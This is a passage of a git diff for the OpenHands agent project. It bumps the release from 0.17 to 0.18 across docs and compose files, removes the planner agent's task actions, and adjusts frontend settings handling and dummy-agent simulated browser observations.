diff --git a/Development.md b/Development.md index fbdaac497e91..2698a33d4bfb 100644 --- a/Development.md +++ b/Development.md @@ -100,7 +100,7 @@ poetry run pytest ./tests/unit/test_*.py To reduce build time (e.g., if no changes were made to the client-runtime component), you can use an existing Docker container image by setting the SANDBOX_RUNTIME_CONTAINER_IMAGE environment variable to the desired Docker image. -Example: `export SANDBOX_RUNTIME_CONTAINER_IMAGE=ghcr.io/all-hands-ai/runtime:0.17-nikolaik` +Example: `export SANDBOX_RUNTIME_CONTAINER_IMAGE=ghcr.io/all-hands-ai/runtime:0.18-nikolaik` ## Develop inside Docker container diff --git a/README.md b/README.md index 0a3470267205..e55f1d88fe40 100644 --- a/README.md +++ b/README.md @@ -43,17 +43,17 @@ See the [Installation](https://docs.all-hands.dev/modules/usage/installation) gu system requirements and more information. ```bash -docker pull docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik +docker pull docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik docker run -it --rm --pull=always \ - -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik \ + -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik \ -e LOG_ALL_EVENTS=true \ -v /var/run/docker.sock:/var/run/docker.sock \ -v ~/.openhands-state:/.openhands-state \ -p 3000:3000 \ --add-host host.docker.internal:host-gateway \ --name openhands-app \ - docker.all-hands.dev/all-hands-ai/openhands:0.17 + docker.all-hands.dev/all-hands-ai/openhands:0.18 ``` You'll find OpenHands running at [http://localhost:3000](http://localhost:3000)! diff --git a/compose.yml b/compose.yml index 7c46a236ae1d..8e8dcd03d398 100644 --- a/compose.yml +++ b/compose.yml @@ -7,7 +7,7 @@ services: image: openhands:latest container_name: openhands-app-${DATE:-} environment: - - SANDBOX_RUNTIME_CONTAINER_IMAGE=${SANDBOX_RUNTIME_CONTAINER_IMAGE:-ghcr.io/all-hands-ai/runtime:0.17-nikolaik} + - SANDBOX_RUNTIME_CONTAINER_IMAGE=${SANDBOX_RUNTIME_CONTAINER_IMAGE:-ghcr.io/all-hands-ai/runtime:0.18-nikolaik} - SANDBOX_USER_ID=${SANDBOX_USER_ID:-1234} - WORKSPACE_MOUNT_PATH=${WORKSPACE_BASE:-$PWD/workspace} ports: diff --git a/containers/dev/compose.yml b/containers/dev/compose.yml index e393f23a1b5e..952e7d2d1090 100644 --- a/containers/dev/compose.yml +++ b/containers/dev/compose.yml @@ -11,7 +11,7 @@ services: - BACKEND_HOST=${BACKEND_HOST:-"0.0.0.0"} - SANDBOX_API_HOSTNAME=host.docker.internal # - - SANDBOX_RUNTIME_CONTAINER_IMAGE=${SANDBOX_RUNTIME_CONTAINER_IMAGE:-ghcr.io/all-hands-ai/runtime:0.17-nikolaik} + - SANDBOX_RUNTIME_CONTAINER_IMAGE=${SANDBOX_RUNTIME_CONTAINER_IMAGE:-ghcr.io/all-hands-ai/runtime:0.18-nikolaik} - SANDBOX_USER_ID=${SANDBOX_USER_ID:-1234} - WORKSPACE_MOUNT_PATH=${WORKSPACE_BASE:-$PWD/workspace} ports: diff --git a/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/how-to/cli-mode.md b/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/how-to/cli-mode.md index 9156d7ac46ff..a5a7a2cae45f 100644 --- a/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/how-to/cli-mode.md +++ b/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/how-to/cli-mode.md @@ -52,7 +52,7 @@ LLM_API_KEY="sk_test_12345" ```bash docker run -it \ --pull=always \ - -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik \ + -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik \ -e SANDBOX_USER_ID=$(id -u) \ -e WORKSPACE_MOUNT_PATH=$WORKSPACE_BASE \ -e LLM_API_KEY=$LLM_API_KEY \ @@ -61,7 +61,7 @@ docker run -it \ -v /var/run/docker.sock:/var/run/docker.sock \ --add-host host.docker.internal:host-gateway \ --name openhands-app-$(date +%Y%m%d%H%M%S) \ - docker.all-hands.dev/all-hands-ai/openhands:0.17 \ + docker.all-hands.dev/all-hands-ai/openhands:0.18 \ python -m openhands.core.cli ``` diff --git a/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/how-to/headless-mode.md b/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/how-to/headless-mode.md index 9d1172770549..130da64e78d7 100644 --- a/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/how-to/headless-mode.md +++ b/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/how-to/headless-mode.md @@ -46,7 +46,7 @@ LLM_API_KEY="sk_test_12345" ```bash docker run -it \ --pull=always \ - -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik \ + -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik \ -e SANDBOX_USER_ID=$(id -u) \ -e WORKSPACE_MOUNT_PATH=$WORKSPACE_BASE \ -e LLM_API_KEY=$LLM_API_KEY \ @@ -56,6 +56,6 @@ docker run -it \ -v /var/run/docker.sock:/var/run/docker.sock \ --add-host host.docker.internal:host-gateway \ --name openhands-app-$(date +%Y%m%d%H%M%S) \ - docker.all-hands.dev/all-hands-ai/openhands:0.17 \ + docker.all-hands.dev/all-hands-ai/openhands:0.18 \ python -m openhands.core.main -t "write a bash script that prints hi" --no-auto-continue ``` diff --git a/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/installation.mdx b/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/installation.mdx index ddfef195b661..21cf973215ee 100644 --- a/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/installation.mdx +++ b/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/installation.mdx @@ -13,16 +13,16 @@ La façon la plus simple d'exécuter OpenHands est avec Docker. ```bash -docker pull docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik +docker pull docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik docker run -it --rm --pull=always \ - -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik \ + -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik \ -e LOG_ALL_EVENTS=true \ -v /var/run/docker.sock:/var/run/docker.sock \ -p 3000:3000 \ --add-host host.docker.internal:host-gateway \ --name openhands-app \ - docker.all-hands.dev/all-hands-ai/openhands:0.17 + docker.all-hands.dev/all-hands-ai/openhands:0.18 ``` Vous pouvez également exécuter OpenHands en mode [headless scriptable](https://docs.all-hands.dev/modules/usage/how-to/headless-mode), en tant que [CLI interactive](https://docs.all-hands.dev/modules/usage/how-to/cli-mode), ou en utilisant l'[Action GitHub OpenHands](https://docs.all-hands.dev/modules/usage/how-to/github-action). diff --git a/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/runtimes.md b/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/runtimes.md index 67d054c4791f..c2853d0b0d74 100644 --- a/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/runtimes.md +++ b/docs/i18n/fr/docusaurus-plugin-content-docs/current/usage/runtimes.md @@ -13,7 +13,7 @@ C'est le Runtime par défaut qui est utilisé lorsque vous démarrez OpenHands. ``` docker run # ... - -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik \ + -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik \ -v /var/run/docker.sock:/var/run/docker.sock \ # ... ``` diff --git a/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/how-to/cli-mode.md b/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/how-to/cli-mode.md index e6760ee2d63b..615e1b23d8e8 100644 --- a/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/how-to/cli-mode.md +++ b/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/how-to/cli-mode.md @@ -50,7 +50,7 @@ LLM_API_KEY="sk_test_12345" ```bash docker run -it \ --pull=always \ - -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik \ + -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik \ -e SANDBOX_USER_ID=$(id -u) \ -e WORKSPACE_MOUNT_PATH=$WORKSPACE_BASE \ -e LLM_API_KEY=$LLM_API_KEY \ @@ -59,7 +59,7 @@ docker run -it \ -v /var/run/docker.sock:/var/run/docker.sock \ --add-host host.docker.internal:host-gateway \ --name openhands-app-$(date +%Y%m%d%H%M%S) \ - docker.all-hands.dev/all-hands-ai/openhands:0.17 \ + docker.all-hands.dev/all-hands-ai/openhands:0.18 \ python -m openhands.core.cli ``` diff --git a/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/how-to/headless-mode.md b/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/how-to/headless-mode.md index c38831e4a462..6dd7554893f8 100644 --- a/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/how-to/headless-mode.md +++ b/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/how-to/headless-mode.md @@ -47,7 +47,7 @@ LLM_API_KEY="sk_test_12345" ```bash docker run -it \ --pull=always \ - -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik \ + -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik \ -e SANDBOX_USER_ID=$(id -u) \ -e WORKSPACE_MOUNT_PATH=$WORKSPACE_BASE \ -e LLM_API_KEY=$LLM_API_KEY \ @@ -57,6 +57,6 @@ docker run -it \ -v /var/run/docker.sock:/var/run/docker.sock \ --add-host host.docker.internal:host-gateway \ --name openhands-app-$(date +%Y%m%d%H%M%S) \ - docker.all-hands.dev/all-hands-ai/openhands:0.17 \ + docker.all-hands.dev/all-hands-ai/openhands:0.18 \ python -m openhands.core.main -t "write a bash script that prints hi" --no-auto-continue ``` diff --git a/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/installation.mdx b/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/installation.mdx index 6de97bfc3bc5..648ed6a76450 100644 --- a/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/installation.mdx +++ b/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/installation.mdx @@ -11,16 +11,16 @@ 在 Docker 中运行 OpenHands 是最简单的方式。 ```bash -docker pull docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik +docker pull docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik docker run -it --rm --pull=always \ - -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik \ + -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik \ -e LOG_ALL_EVENTS=true \ -v /var/run/docker.sock:/var/run/docker.sock \ -p 3000:3000 \ --add-host host.docker.internal:host-gateway \ --name openhands-app \ - docker.all-hands.dev/all-hands-ai/openhands:0.17 + docker.all-hands.dev/all-hands-ai/openhands:0.18 ``` 你也可以在可脚本化的[无头模式](https://docs.all-hands.dev/modules/usage/how-to/headless-mode)下运行 OpenHands,作为[交互式 CLI](https://docs.all-hands.dev/modules/usage/how-to/cli-mode),或使用 [OpenHands GitHub Action](https://docs.all-hands.dev/modules/usage/how-to/github-action)。 diff --git a/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/runtimes.md b/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/runtimes.md index c6a7fc29053c..51f726904791 100644 --- a/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/runtimes.md +++ b/docs/i18n/zh-Hans/docusaurus-plugin-content-docs/current/usage/runtimes.md @@ -11,7 +11,7 @@ ``` docker run # ... - -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik \ + -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik \ -v /var/run/docker.sock:/var/run/docker.sock \ # ... ``` diff --git a/docs/modules/usage/how-to/cli-mode.md b/docs/modules/usage/how-to/cli-mode.md index e0f28887b629..9af87b8ebd8d 100644 --- a/docs/modules/usage/how-to/cli-mode.md +++ b/docs/modules/usage/how-to/cli-mode.md @@ -50,7 +50,7 @@ LLM_API_KEY="sk_test_12345" ```bash docker run -it \ --pull=always \ - -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik \ + -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik \ -e SANDBOX_USER_ID=$(id -u) \ -e WORKSPACE_MOUNT_PATH=$WORKSPACE_BASE \ -e LLM_API_KEY=$LLM_API_KEY \ @@ -60,7 +60,7 @@ docker run -it \ -v ~/.openhands-state:/.openhands-state \ --add-host host.docker.internal:host-gateway \ --name openhands-app-$(date +%Y%m%d%H%M%S) \ - docker.all-hands.dev/all-hands-ai/openhands:0.17 \ + docker.all-hands.dev/all-hands-ai/openhands:0.18 \ python -m openhands.core.cli ``` diff --git a/docs/modules/usage/how-to/headless-mode.md b/docs/modules/usage/how-to/headless-mode.md index 96e1f9978b35..c4aaa31b6e63 100644 --- a/docs/modules/usage/how-to/headless-mode.md +++ b/docs/modules/usage/how-to/headless-mode.md @@ -44,7 +44,7 @@ LLM_API_KEY="sk_test_12345" ```bash docker run -it \ --pull=always \ - -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik \ + -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik \ -e SANDBOX_USER_ID=$(id -u) \ -e WORKSPACE_MOUNT_PATH=$WORKSPACE_BASE \ -e LLM_API_KEY=$LLM_API_KEY \ @@ -55,6 +55,6 @@ docker run -it \ -v ~/.openhands-state:/.openhands-state \ --add-host host.docker.internal:host-gateway \ --name openhands-app-$(date +%Y%m%d%H%M%S) \ - docker.all-hands.dev/all-hands-ai/openhands:0.17 \ + docker.all-hands.dev/all-hands-ai/openhands:0.18 \ python -m openhands.core.main -t "write a bash script that prints hi" ``` diff --git a/docs/modules/usage/installation.mdx b/docs/modules/usage/installation.mdx index ded22a995c43..c2a250b4cf5f 100644 --- a/docs/modules/usage/installation.mdx +++ b/docs/modules/usage/installation.mdx @@ -11,17 +11,17 @@ The easiest way to run OpenHands is in Docker. ```bash -docker pull docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik +docker pull docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik docker run -it --rm --pull=always \ - -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik \ + -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik \ -e LOG_ALL_EVENTS=true \ -v /var/run/docker.sock:/var/run/docker.sock \ -v ~/.openhands-state:/.openhands-state \ -p 3000:3000 \ --add-host host.docker.internal:host-gateway \ --name openhands-app \ - docker.all-hands.dev/all-hands-ai/openhands:0.17 + docker.all-hands.dev/all-hands-ai/openhands:0.18 ``` You can also run OpenHands in a scriptable [headless mode](https://docs.all-hands.dev/modules/usage/how-to/headless-mode), as an [interactive CLI](https://docs.all-hands.dev/modules/usage/how-to/cli-mode), or using the [OpenHands GitHub Action](https://docs.all-hands.dev/modules/usage/how-to/github-action). diff --git a/docs/modules/usage/runtimes.md b/docs/modules/usage/runtimes.md index 779857c895bb..1aeb82aa00be 100644 --- a/docs/modules/usage/runtimes.md +++ b/docs/modules/usage/runtimes.md @@ -16,7 +16,7 @@ some flags being passed to `docker run` that make this possible: ``` docker run # ... - -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.17-nikolaik \ + -e SANDBOX_RUNTIME_CONTAINER_IMAGE=docker.all-hands.dev/all-hands-ai/runtime:0.18-nikolaik \ -v /var/run/docker.sock:/var/run/docker.sock \ # ... ``` diff --git a/frontend/__tests__/components/modals/base-modal/base-modal.test.tsx b/frontend/__tests__/components/modals/base-modal/base-modal.test.tsx index 563cbca6c45a..0454de0c77ec 100644 --- a/frontend/__tests__/components/modals/base-modal/base-modal.test.tsx +++ b/frontend/__tests__/components/modals/base-modal/base-modal.test.tsx @@ -52,14 +52,10 @@ describe("BaseModal", () => { expect(screen.getByText("Save")).toBeInTheDocument(); expect(screen.getByText("Cancel")).toBeInTheDocument(); - await act(async () => { - await userEvent.click(screen.getByText("Save")); - }); + await userEvent.click(screen.getByText("Save")); expect(onPrimaryClickMock).toHaveBeenCalledTimes(1); - await act(async () => { - await userEvent.click(screen.getByText("Cancel")); - }); + await userEvent.click(screen.getByText("Cancel")); expect(onSecondaryClickMock).toHaveBeenCalledTimes(1); }); @@ -80,9 +76,7 @@ describe("BaseModal", () => { />, ); - await act(async () => { - await userEvent.click(screen.getByText("Save")); - }); + await userEvent.click(screen.getByText("Save")); expect(onOpenChangeMock).toHaveBeenCalledTimes(1); }); diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 973a16d01049..e91caba167a6 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -1,12 +1,12 @@ { "name": "openhands-frontend", - "version": "0.17.0", + "version": "0.18.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "openhands-frontend", - "version": "0.17.0", + "version": "0.18.0", "dependencies": { "@monaco-editor/react": "^4.7.0-rc.0", "@nextui-org/react": "^2.6.10", diff --git a/frontend/package.json b/frontend/package.json index 1048fea0df75..a4b4b7c38e69 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -1,6 +1,6 @@ { "name": "openhands-frontend", - "version": "0.17.0", + "version": "0.18.0", "private": true, "type": "module", "engines": { diff --git a/frontend/src/api/open-hands.ts b/frontend/src/api/open-hands.ts index 1d1bd0dfa824..1534be879ca5 100644 --- a/frontend/src/api/open-hands.ts +++ b/frontend/src/api/open-hands.ts @@ -11,7 +11,7 @@ import { Conversation, } from "./open-hands.types"; import { openHands } from "./open-hands-axios"; -import { ApiSettings, Settings } from "#/services/settings"; +import { ApiSettings } from "#/services/settings"; class OpenHands { /** @@ -238,13 +238,11 @@ class OpenHands { } static async createConversation( - settings: Settings, githubToken?: string, selectedRepository?: string, ): Promise { const body = { github_token: githubToken, - args: settings, selected_repository: selectedRepository, }; diff --git a/frontend/src/components/shared/buttons/icon-button.tsx b/frontend/src/components/shared/buttons/icon-button.tsx index 66c86e2a58e3..90832afed42f 100644 --- a/frontend/src/components/shared/buttons/icon-button.tsx +++ b/frontend/src/components/shared/buttons/icon-button.tsx @@ -1,9 +1,9 @@ import { Button } from "@nextui-org/react"; -import React, { MouseEventHandler, ReactElement } from "react"; +import React, { ReactElement } from "react"; export interface IconButtonProps { icon: ReactElement; - onClick: MouseEventHandler; + onClick: () => void; ariaLabel: string; testId?: string; } @@ -18,7 +18,7 @@ export function IconButton({ @@ -162,7 +162,7 @@ function SecurityInvariant() {

{t(I18nKey.INVARIANT$POLICY_LABEL)}

@@ -184,7 +184,7 @@ function SecurityInvariant() {

{t(I18nKey.INVARIANT$SETTINGS_LABEL)}

diff --git a/frontend/src/hooks/mutation/use-create-conversation.ts b/frontend/src/hooks/mutation/use-create-conversation.ts index 1a9c7e3a79aa..ceb00b82b0e2 100644 --- a/frontend/src/hooks/mutation/use-create-conversation.ts +++ b/frontend/src/hooks/mutation/use-create-conversation.ts @@ -6,13 +6,11 @@ import OpenHands from "#/api/open-hands"; import { setInitialQuery } from "#/state/initial-query-slice"; import { RootState } from "#/store"; import { useAuth } from "#/context/auth-context"; -import { useSettings } from "../query/use-settings"; export const useCreateConversation = () => { const navigate = useNavigate(); const dispatch = useDispatch(); const { gitHubToken } = useAuth(); - const { data: settings } = useSettings(); const queryClient = useQueryClient(); const { selectedRepository, files } = useSelector( @@ -27,7 +25,6 @@ export const useCreateConversation = () => { if (variables.q) dispatch(setInitialQuery(variables.q)); return OpenHands.createConversation( - settings, gitHubToken || undefined, selectedRepository || undefined, ); diff --git a/frontend/src/hooks/mutation/use-save-settings.ts b/frontend/src/hooks/mutation/use-save-settings.ts index 2fb998cb4cf6..f9731e981d5b 100644 --- a/frontend/src/hooks/mutation/use-save-settings.ts +++ b/frontend/src/hooks/mutation/use-save-settings.ts @@ -1,6 +1,7 @@ import { useMutation, useQueryClient } from "@tanstack/react-query"; import { ApiSettings, + DEFAULT_SETTINGS, LATEST_SETTINGS_VERSION, Settings, } from "#/services/settings"; @@ -11,11 +12,11 @@ const saveSettingsMutationFn = async (settings: Partial) => { const apiSettings: Partial = { llm_model: settings.LLM_MODEL, llm_base_url: settings.LLM_BASE_URL, - agent: settings.AGENT, - language: settings.LANGUAGE, + agent: settings.AGENT || DEFAULT_SETTINGS.AGENT, + language: settings.LANGUAGE || DEFAULT_SETTINGS.LANGUAGE, confirmation_mode: settings.CONFIRMATION_MODE, security_analyzer: settings.SECURITY_ANALYZER, - llm_api_key: settings.LLM_API_KEY, + llm_api_key: settings.LLM_API_KEY?.trim() || undefined, }; await OpenHands.saveSettings(apiSettings); diff --git a/frontend/src/hooks/query/use-settings.ts b/frontend/src/hooks/query/use-settings.ts index 796c0cab1842..f6e12e33e185 100644 --- a/frontend/src/hooks/query/use-settings.ts +++ b/frontend/src/hooks/query/use-settings.ts @@ -1,25 +1,36 @@ import { useQuery } from "@tanstack/react-query"; import React from "react"; import posthog from "posthog-js"; +import { AxiosError } from "axios"; import { DEFAULT_SETTINGS, getLocalStorageSettings } from "#/services/settings"; import OpenHands from "#/api/open-hands"; const getSettingsQueryFn = async () => { - const apiSettings = await OpenHands.getSettings(); + try { + const apiSettings = await OpenHands.getSettings(); - if (apiSettings !== null) { - return { - LLM_MODEL: apiSettings.llm_model, - LLM_BASE_URL: apiSettings.llm_base_url, - AGENT: apiSettings.agent, - LANGUAGE: apiSettings.language, - CONFIRMATION_MODE: apiSettings.confirmation_mode, - SECURITY_ANALYZER: apiSettings.security_analyzer, - LLM_API_KEY: apiSettings.llm_api_key, - }; - } + if (apiSettings !== null) { + return { + LLM_MODEL: apiSettings.llm_model, + LLM_BASE_URL: apiSettings.llm_base_url, + AGENT: apiSettings.agent, + LANGUAGE: apiSettings.language, + CONFIRMATION_MODE: apiSettings.confirmation_mode, + SECURITY_ANALYZER: apiSettings.security_analyzer, + LLM_API_KEY: apiSettings.llm_api_key, + }; + } - return getLocalStorageSettings(); + return getLocalStorageSettings(); + } catch (error) { + if (error instanceof AxiosError) { + if (error.response?.status === 404) { + return DEFAULT_SETTINGS; + } + } + + throw error; + } }; export const useSettings = () => { diff --git a/frontend/src/hooks/use-maybe-migrate-settings.ts b/frontend/src/hooks/use-maybe-migrate-settings.ts index d2bb49f3c17a..26892c9745d7 100644 --- a/frontend/src/hooks/use-maybe-migrate-settings.ts +++ b/frontend/src/hooks/use-maybe-migrate-settings.ts @@ -1,7 +1,6 @@ // Sometimes we ship major changes, like a new default agent. import React from "react"; -import { useAuth } from "#/context/auth-context"; import { useSettingsUpToDate } from "#/context/settings-up-to-date-context"; import { DEFAULT_SETTINGS, @@ -12,7 +11,6 @@ import { useSaveSettings } from "./mutation/use-save-settings"; // In this case, we may want to override a previous choice made by the user. export const useMaybeMigrateSettings = () => { - const { logout } = useAuth(); const { mutateAsync: saveSettings } = useSaveSettings(); const { isUpToDate } = useSettingsUpToDate(); @@ -35,7 +33,7 @@ export const useMaybeMigrateSettings = () => { } if (currentVersion < 4) { - logout(); + // We used to log out here, but it's breaking things } // Only save settings if user already previously saved settings diff --git a/frontend/src/types/action-type.tsx b/frontend/src/types/action-type.tsx index a8d469b1cb46..a217ba14a8ec 100644 --- a/frontend/src/types/action-type.tsx +++ b/frontend/src/types/action-type.tsx @@ -33,12 +33,6 @@ enum ActionType { // Reject a request from user or another agent. REJECT = "reject", - // Adds a task to the plan. - ADD_TASK = "add_task", - - // Updates a task in the plan. - MODIFY_TASK = "modify_task", - // Changes the state of the agent, e.g. to paused or running CHANGE_AGENT_STATE = "change_agent_state", } diff --git a/frontend/src/types/core/actions.ts b/frontend/src/types/core/actions.ts index b88393c5a723..eb8aba6ada63 100644 --- a/frontend/src/types/core/actions.ts +++ b/frontend/src/types/core/actions.ts @@ -78,27 +78,6 @@ export interface BrowseInteractiveAction }; } -export interface AddTaskAction extends OpenHandsActionEvent<"add_task"> { - source: "agent"; - timeout: number; - args: { - parent: string; - goal: string; - subtasks: unknown[]; - thought: string; - }; -} - -export interface ModifyTaskAction extends OpenHandsActionEvent<"modify_task"> { - source: "agent"; - timeout: number; - args: { - task_id: string; - state: string; - thought: string; - }; -} - export interface FileReadAction extends OpenHandsActionEvent<"read"> { source: "agent"; args: { @@ -144,6 +123,4 @@ export type OpenHandsAction = | FileReadAction | FileEditAction | FileWriteAction - | AddTaskAction - | ModifyTaskAction | RejectAction; diff --git a/frontend/src/types/core/base.ts b/frontend/src/types/core/base.ts index ce3fba3f0884..9b03f4f4e428 100644 --- a/frontend/src/types/core/base.ts +++ b/frontend/src/types/core/base.ts @@ -10,8 +10,6 @@ export type OpenHandsEventType = | "browse" | "browse_interactive" | "reject" - | "add_task" - | "modify_task" | "finish" | "error"; diff --git a/openhands/agenthub/__init__.py b/openhands/agenthub/__init__.py index 85ae41d425d0..892c0d682d2e 100644 --- a/openhands/agenthub/__init__.py +++ b/openhands/agenthub/__init__.py @@ -12,12 +12,10 @@ codeact_agent, delegator_agent, dummy_agent, - planner_agent, ) __all__ = [ 'codeact_agent', - 'planner_agent', 'delegator_agent', 'dummy_agent', 'browsing_agent', diff --git a/openhands/agenthub/codeact_agent/codeact_agent.py b/openhands/agenthub/codeact_agent/codeact_agent.py index 7a2e0fc62b79..03fa8cc4dd30 100644 --- a/openhands/agenthub/codeact_agent/codeact_agent.py +++ b/openhands/agenthub/codeact_agent/codeact_agent.py @@ -482,18 +482,7 @@ def _get_messages(self, state: State) -> list[Message]: if message: if message.role == 'user': self.prompt_manager.enhance_message(message) - # handle error if the message is the SAME role as the previous message - # litellm.exceptions.BadRequestError: litellm.BadRequestError: OpenAIException - Error code: 400 - {'detail': 'Only supports u/a/u/a/u...'} - # there shouldn't be two consecutive messages from the same role - # NOTE: we shouldn't combine tool messages because each of them has a different tool_call_id - if ( - messages - and messages[-1].role == message.role - and message.role != 'tool' - ): - messages[-1].content.extend(message.content) - else: - messages.append(message) + messages.append(message) if self.llm.is_caching_prompt_active(): # NOTE: this is only needed for anthropic diff --git a/openhands/agenthub/dummy_agent/agent.py b/openhands/agenthub/dummy_agent/agent.py index 272e6c935f2e..06abacab3eb7 100644 --- a/openhands/agenthub/dummy_agent/agent.py +++ b/openhands/agenthub/dummy_agent/agent.py @@ -1,4 +1,4 @@ -from typing import TypedDict, Union +from typing import TypedDict from openhands.controller.agent import Agent from openhands.controller.state.state import State @@ -6,7 +6,6 @@ from openhands.core.schema import AgentState from openhands.events.action import ( Action, - AddTaskAction, AgentFinishAction, AgentRejectAction, BrowseInteractiveAction, @@ -15,10 +14,10 @@ FileReadAction, FileWriteAction, MessageAction, - ModifyTaskAction, ) from openhands.events.observation import ( AgentStateChangedObservation, + BrowserOutputObservation, CmdOutputObservation, FileReadObservation, FileWriteObservation, @@ -49,20 +48,6 @@ class DummyAgent(Agent): def __init__(self, llm: LLM, config: AgentConfig): super().__init__(llm, config) self.steps: list[ActionObs] = [ - { - 'action': AddTaskAction( - parent='None', goal='check the current directory' - ), - 'observations': [], - }, - { - 'action': AddTaskAction(parent='0', goal='run ls'), - 'observations': [], - }, - { - 'action': ModifyTaskAction(task_id='0', state='in_progress'), - 'observations': [], - }, { 'action': MessageAction('Time to get started!'), 'observations': [], @@ -105,7 +90,12 @@ def __init__(self, llm: LLM, config: AgentConfig): { 'action': BrowseURLAction(url='https://google.com'), 'observations': [ - # BrowserOutputObservation('Simulated Google page',url='https://google.com',screenshot=''), + BrowserOutputObservation( + 'Simulated Google page', + url='https://google.com', + screenshot='', + trigger_by_action='', + ), ], }, { @@ -113,7 +103,12 @@ def __init__(self, llm: LLM, config: AgentConfig): browser_actions='goto("https://google.com")' ), 'observations': [ - # BrowserOutputObservation('Simulated Google page after interaction',url='https://google.com',screenshot=''), + BrowserOutputObservation( + 'Simulated Google page after interaction', + url='https://google.com', + screenshot='', + trigger_by_action='', + ), ], }, { @@ -135,30 +130,6 @@ def step(self, state: State) -> Action: current_step = self.steps[state.iteration] action = current_step['action'] - # If the action is AddTaskAction or ModifyTaskAction, update the parent ID or task_id - if isinstance(action, AddTaskAction): - if action.parent == 'None': - action.parent = '' # Root task has no parent - elif action.parent == '0': - action.parent = state.root_task.id - elif action.parent.startswith('0.'): - action.parent = f'{state.root_task.id}{action.parent[1:]}' - elif isinstance(action, ModifyTaskAction): - if action.task_id == '0': - action.task_id = state.root_task.id - 